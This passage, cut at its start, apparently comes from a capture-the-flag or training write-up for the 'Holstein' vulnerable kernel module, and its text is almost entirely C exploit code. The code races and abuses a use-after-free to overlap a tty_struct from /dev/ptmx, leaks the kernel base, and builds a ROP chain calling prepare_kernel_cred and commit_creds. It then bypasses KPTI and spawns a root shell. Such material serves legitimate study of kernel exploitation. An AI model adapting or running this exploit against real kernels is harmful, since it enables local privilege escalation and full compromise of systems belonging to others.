  read(rop_and_vtable_fd, buf, sizeof(buf));
  kernel_base = *(uint64_t *)(buf + 0x08 * 3) - 0xc39c60;
  g_buf_addr = *(uint64_t *)(buf + 0x08 * 7) - 0x38;

#if PRINT_DEBUG == 1
  if (kernel_base & 0xFFFFFF != 0) {
    printf("[-] Failed to leak kernel base\n");
    return -1;
  }
  if (g_buf_addr & 0xFF != 0) {
    printf("[-] Failed to leak g_buf base\n");
    return -1;
  }
  printf("[*] kernel_base: %p\n", (void *)kernel_base);
  printf("[*] g_buf_addr: %p\n", (void *)g_buf_addr);
#endif

  uint64_t *rop_buf = (uint64_t *)buf;
  *rop_buf++ = PUSH_RDX_XOR_EAX_POP_RSP_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(rop_and_vtable_fd, buf, sizeof(buf));

  int tmp_fd2 = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (tmp_fd2 < 0) {
    return -1;
  }
  int uaf_fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
  if (uaf_fd < 0) {
    return -1;
  }
  close(tmp_fd2);
  int tty_fd = open("/dev/ptmx", O_NOCTTY);
  if (tty_fd < 0) {
    return -1;
  }
  read(uaf_fd, buf, sizeof(buf));
  *(uint64_t *)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
  write(uaf_fd, buf, sizeof(buf));

  ioctl(tty_fd, 0x00, g_buf_addr);

  return 0;
}

LK01-4 (Holstein v4: Race Condition)

      #define _GNU_SOURCE
#include <bits/syscall.h>
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>

#define PRINT_DEBUG 1

#define VULN_DEVICE_NAME "holstein"
#define VULN_BUFFER_SIZE 0x400

#define KERNEL_BASE 0xffffffff81000000
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET \
  (0xffffffff81137da8 - KERNEL_BASE)
#define PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff810b13c5 - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff81072580 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_RBX_RBP_OFFSET (0xffffffff813006fc - KERNEL_BASE)
#define POP_RCX_RBX_RBP (kernel_base + POP_RCX_RBX_RBP_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff8165094b - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff810723e0 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

pid_t gettid(void) { return syscall(SYS_gettid); }

static int next_fd1 = -1, next_fd2 = -1;
static int vuln_fd1 = -1, vuln_fd2 = -1;
static int race_win = 0;

void find_next_fds() {
  next_fd1 = open("/tmp", O_RDONLY);
  next_fd2 = open("/tmp", O_RDONLY);
  close(next_fd1);
  close(next_fd2);
}

void* race_vuln_dev(void* args) {
  cpu_set_t* cpu_set = (cpu_set_t*)args;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
    fatal("sched_setaffinity");
  }

  while (1) {
    while (!race_win) {
      int fd = open("/dev/" VULN_DEVICE_NAME, O_RDWR);
      if (fd == -1) {
        continue;
      }
      if (fd == next_fd2) {
        race_win = 1;
      }
      if (race_win == 0) {
        close(fd);
      }
    }

    if (write(next_fd1, "A", 1) != 1 || write(next_fd2, "a", 1) != 1) {
      close(next_fd1);
      close(next_fd2);
      race_win = 0;
    } else {
      vuln_fd1 = next_fd1;
      vuln_fd2 = next_fd2;
      break;
    }
    usleep(1000);
  }

  return NULL;
}

void* spray_ptmx(void* args) {
  cpu_set_t* cpu_set = (cpu_set_t*)args;
  if (sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set)) {
    fatal("sched_setaffinity");
  }

  uint64_t val = 0;
  uint64_t ptmx_spray[800];

  for (int i = 0; i < 800; ++i) {
    usleep(50);
    ptmx_spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
    if (ptmx_spray[i] == -1) {
      for (int j = 0; j < i; ++j) {
        close(ptmx_spray[j]);
      }
      return (void*)-1;
    }

    if (read(vuln_fd2, &val, sizeof(val)) == sizeof(val) &&
        val == 0x100005401) {
      for (int j = 0; j < i; ++j) {
        close(ptmx_spray[j]);
      }
      return (void*)ptmx_spray[i];
    }
  }

  for (int i = 0; i < 800; ++i) {
    close(ptmx_spray[i]);
  }
  return (void*)-1;
}

int create_overlapped_fd() {
  pthread_t th[2];
  cpu_set_t cpu[2];
  char buf[0x10] = {
      0,
  };

  CPU_ZERO(&cpu[0]);
  CPU_ZERO(&cpu[1]);
  CPU_SET(0, &cpu[0]);
  CPU_SET(1, &cpu[1]);

  find_next_fds();
#if PRINT_DEBUG == 1
  printf("[*] next_fd1: %d, next_fd2: %d\n", next_fd1, next_fd2);
#endif

  pthread_create(&th[0], NULL, race_vuln_dev, (void*)&cpu[0]);
  pthread_create(&th[1], NULL, race_vuln_dev, (void*)&cpu[1]);
  pthread_join(th[0], NULL);
  pthread_join(th[1], NULL);

#if PRINT_DEBUG == 1
  printf("[*] vuln_fd1: %d, vuln_fd2: %d\n", vuln_fd1, vuln_fd2);
#endif

  const char* kTestString = "Hello,Uniguri";
  const size_t kTestStringLen = strlen(kTestString);
  int t = write(next_fd1, kTestString, kTestStringLen);
  t &= read(next_fd2, buf, kTestStringLen);
  if (t != kTestStringLen || strcmp(buf, kTestString)) {
    fatal("Race fail");
  }
#if PRINT_DEBUG == 1
  puts("[+] race success");
#endif
  memset(buf, 0, sizeof(buf));
  write(vuln_fd1, buf, sizeof(buf));

  close(vuln_fd1);
  usleep(2000);

  int loop_cnt = 0;
  int overlapped_ptmx_fd = (int)(uint64_t)spray_ptmx((void*)&cpu[0]);
  while (overlapped_ptmx_fd == -1 && loop_cnt++ < 100) {
#if PRINT_DEBUG == 1
    puts("[*] Spraying ptmx on another CPU");
#endif
    pthread_create(&th[0], NULL, spray_ptmx, (void*)&cpu[1]);
    pthread_join(th[0], (void*)&overlapped_ptmx_fd);
  }
  if (overlapped_ptmx_fd == -1) {
    fatal("overlapped_ptmx_fd");
  }

#if PRINT_DEBUG == 1
  printf("[+] Overlap success: ptmx=%d\n", overlapped_ptmx_fd);
#endif
  return overlapped_ptmx_fd;
}

uint64_t kernel_base, g_buf_addr;
uint64_t user_cs, user_ss, user_sp, user_rflags;

static void save_state() {
  asm("mov %[u_cs], cs;\n"
      "mov %[u_ss], ss;\n"
      "mov %[u_sp], rsp;\n"
      "pushf;\n"
      "pop %[u_rflags];\n"
      : [u_cs] "=r"(user_cs), [u_ss] "=r"(user_ss), [u_sp] "=r"(user_sp),
        [u_rflags] "=r"(user_rflags)::"memory");
#if PRINT_DEBUG == 1
  printf(
      "[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: "
      "0x%lx\n",
      user_cs, user_ss, user_sp, user_rflags);
#endif
}

static void get_shell() {
  char* argv[] = {"/bin/sh", NULL};
  char* envp[] = {NULL};
  puts("[+] Get shell!");
  execve("/bin/sh", argv, envp);
}

int main(void) {
  char buf[VULN_BUFFER_SIZE] = {
      0,
  };

  save_state();

  create_overlapped_fd();

  read(vuln_fd2, buf, sizeof(buf));
  kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
  g_buf_addr = *(uint64_t*)(buf + 8 * 9) - 0x48;
  if ((kernel_base & 0xFFF) != 0) {
#if PRINT_DEBUG == 1
    puts("[-] Adjust kernel_base");
#endif
    kernel_base &= (~0xFFF);
  }
  if (0xffffffff81000000 > kernel_base || kernel_base > 0xffffffffc0000000) {
    fatal("kernel_base");
  }
#if PRINT_DEBUG == 1
  printf("[+] kernel_base: 0x%lx, g_buf_addr: 0x%lx\n", kernel_base,
         g_buf_addr);
#endif

  uint64_t* rop_buf = (uint64_t*)buf;
  *rop_buf++ = PUSH_RDX_ADD_BYTE_PTR_RBX_POP_RSP_RBP;  // overwrite ioctl
  *rop_buf++ = POP_RDI;
  *rop_buf++ = 0;
  *rop_buf++ = PREPARE_KERNEL_CRED;
  *rop_buf++ = POP_RCX_RBX_RBP;
  *rop_buf++ = 0;
  *rop_buf++ = 0;
  *rop_buf++ = 0;
  *rop_buf++ = MOV_RDI_RAX_REP;
  *rop_buf++ = COMMIT_CREDS;
  *rop_buf++ = BYPASS_KPTI;
  *rop_buf++ = 0xdeadbeefcafebe00;
  *rop_buf++ = 0xdeadbeefcafebe01;
  *rop_buf++ = (uint64_t)(get_shell);
  *rop_buf++ = (uint64_t)(user_cs);
  *rop_buf++ = (uint64_t)(user_rflags);
  *rop_buf++ = (uint64_t)(user_sp);
  *rop_buf++ = (uint64_t)(user_ss);
  write(vuln_fd2, buf, sizeof(buf));

  int overlapped_ptmx = create_overlapped_fd();
  read(vuln_fd2, buf, sizeof(buf));
  uint64_t tmp_kernel_base = *(uint64_t*)(buf + 8 * 3) - 0xc3aec0;
  if ((tmp_kernel_base & 0xFFF) != 0) {
    tmp_kernel_base &= (~0xFFF);
  }
  if (tmp_kernel_base != kernel_base) {
    fatal("kernel_base");
  }
  *(uint64_t*)(buf + 8 * 3) = g_buf_addr - 0xC * 8;
  write(vuln_fd2, buf, sizeof(buf));

  ioctl(overlapped_ptmx, 0x00, g_buf_addr);

  return 0;
}

Reference

Read more →